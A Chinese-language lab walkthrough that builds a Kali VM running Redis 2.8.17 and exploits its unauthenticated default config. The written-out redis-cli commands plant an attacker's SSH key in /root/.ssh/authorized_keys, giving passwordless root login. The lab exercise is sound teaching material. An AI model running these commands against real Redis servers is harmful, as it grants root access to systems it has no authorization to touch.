导读
开发环境
版本号 | 描述 | |
---|---|---|
操作系统 | Win11-21H2 | 内部版本号22000.588 |
kali | kali-linux-2022.3-live-amd64.iso | |
redis-server(目标机器) | redis-2.8.17.tar.gz | https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf |
redis-cli(攻击机器) | Redis-x64-5.0.14.zip | https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8 |
准备工作
虚拟机搭建(目标机kali)
下载iso文件:
|
|
这里选择Live Boot
模式的iso,不用安装就可以直接体验kali。
|
虚拟机安装
|
修改虚拟机配置
|
启动虚拟机
查看并启动ssh服务
systemctl status ssh
systemctl start ssh
开启root账号
kali默认用户为kali
,我们使用root
账号进行实验,所以需要设置root账号的密码(这里随便设置个密码就行)。
执行命令sudo passwd root
。
生成公钥和私钥(攻击机win11)
windows自带了ssh应用,如下图:
通过ssh-keygen命令生成公钥私钥
手动实现ssh免密登录
将公钥拷贝到目标机器(kali)
在win11上拷贝一份公钥,名称命名为
authorized_keys
。
管理员权限创建目录
/root/.ssh
。
以root权限打开
资源管理器
通过右键菜单拷贝文件到目录
/root/.ssh
。
攻击机(win11)上连接目标机(kali)
查看目标机器ip
连接目标机:
ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129
。
攻击原理分析
从上一步中(
手动实现ssh免密登录
),我们可以看出来,我们只需要将公钥id_rsa.pub
重命名为authorized_keys
,然后拷贝到目标机器/root/.ssh
目录下就可以实现未授权访问Redis了。
redis刚好能满足我们的需求,2.x版本的redis,默认配置,能被外网访问,并完成上面的操作,我们正是利用这个特性,完成ssh未授权访问
。
攻击机(win11)上连接目标机(kali)
攻击实战
删除文件authorized_keys
,准备模拟攻击
- 删除文件
authorized_keys
,再次连接目标机,如下所示(要求输入密码才能登录):
目标机器的redis-server安装和配置
下载redis-server(目标机器,kali):https://pan.baidu.com/s/1I9mByRQjFaNvt040xOm8_w?pwd=27qf
将
redis-2.8.17.tar.gz
拷贝到/root
目录下。
解压并安装redis-server
mkdir /usr/local/redis tar -zxvf redis-2.8.17.tar.gz cd redis-2.8.17 make PREFIX=/usr/local/redis install
运行redis-server
/usr/local/redis/bin/redis-server redis.conf
攻击机器redis-cli安装和配置
下载redis-cli(攻击机器,win11):https://pan.baidu.com/s/1qAkZMBUWVWJvU2bpBq_LNQ?pwd=nhx8
解压
Redis-x64-5.0.14.zip
,redis-cli连接目标机器:
通过
redis-cli
,在目标机器中写入配置文件:# 将公钥保存到内存中,添加回车换行符`\n`到公钥的前后。 set key "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/SQUPXaHJ7m2PANHUGcvIZ5wdEjy6wuEeQI2etYIeod3iE6udtxQtbOR1H3BsS9pozAX974w2+QLT1DrjF7V6zX8YEFHHG1JDhIyyNwf7OSstkcjSnlf8kmpQrGOwKkW78/yFRgoPOSfH2sONc0Ac2VzGEJFdU4tAYQMNUbpt+GhKezJjo+VG3wkhXlOXvgjqcyKN2Y9WuQ16bvrMrddQMzWoTzksxKBtoC/2ccLw6S9drnr/3xkKYUh8gzvcn2H/HR3hkA5rVZsfP/DrxuCN9jTVbjLmkTkXkrZN1qgQJX4rlQUjZM+/vu/c9dhNQ8iQAk69BjwqYDo2sO/UG7HYW/ao+l7FrvqbA0vNd56G6PJ6HH5rlIYV3awWGg8JtSMTbGmP91QfaN9pZ7AYyd+GSSnspbAjI2xRBnjxANJkEKBkLlvzieOzXwHhn76zJYpJFEvJcRYLJiv2a8SBBapO1tOfAIozGjQhV7ywREvssAkb8ggWWtloUutYjV61uzU= administrator@PC-202204131244\n\n" # 设置备份目录 config set dir /root/.ssh/ # 设置备份文件名 config set dbfilename "authorized_keys" # 备份文件 save
测试:ssh免密登录到靶机
- 连接目标机:
ssh -i C:/Users/Administrator/.ssh/id_rsa root@192.168.128.129
。
参考资料
- kali官网下载地址 https://www.kali.org/get-kali/#kali-bare-metal
- Redis未授权漏洞到shell利用过程 https://baijiahao.baidu.com/s?id=1728707427419719585&wfr=spider&for=pc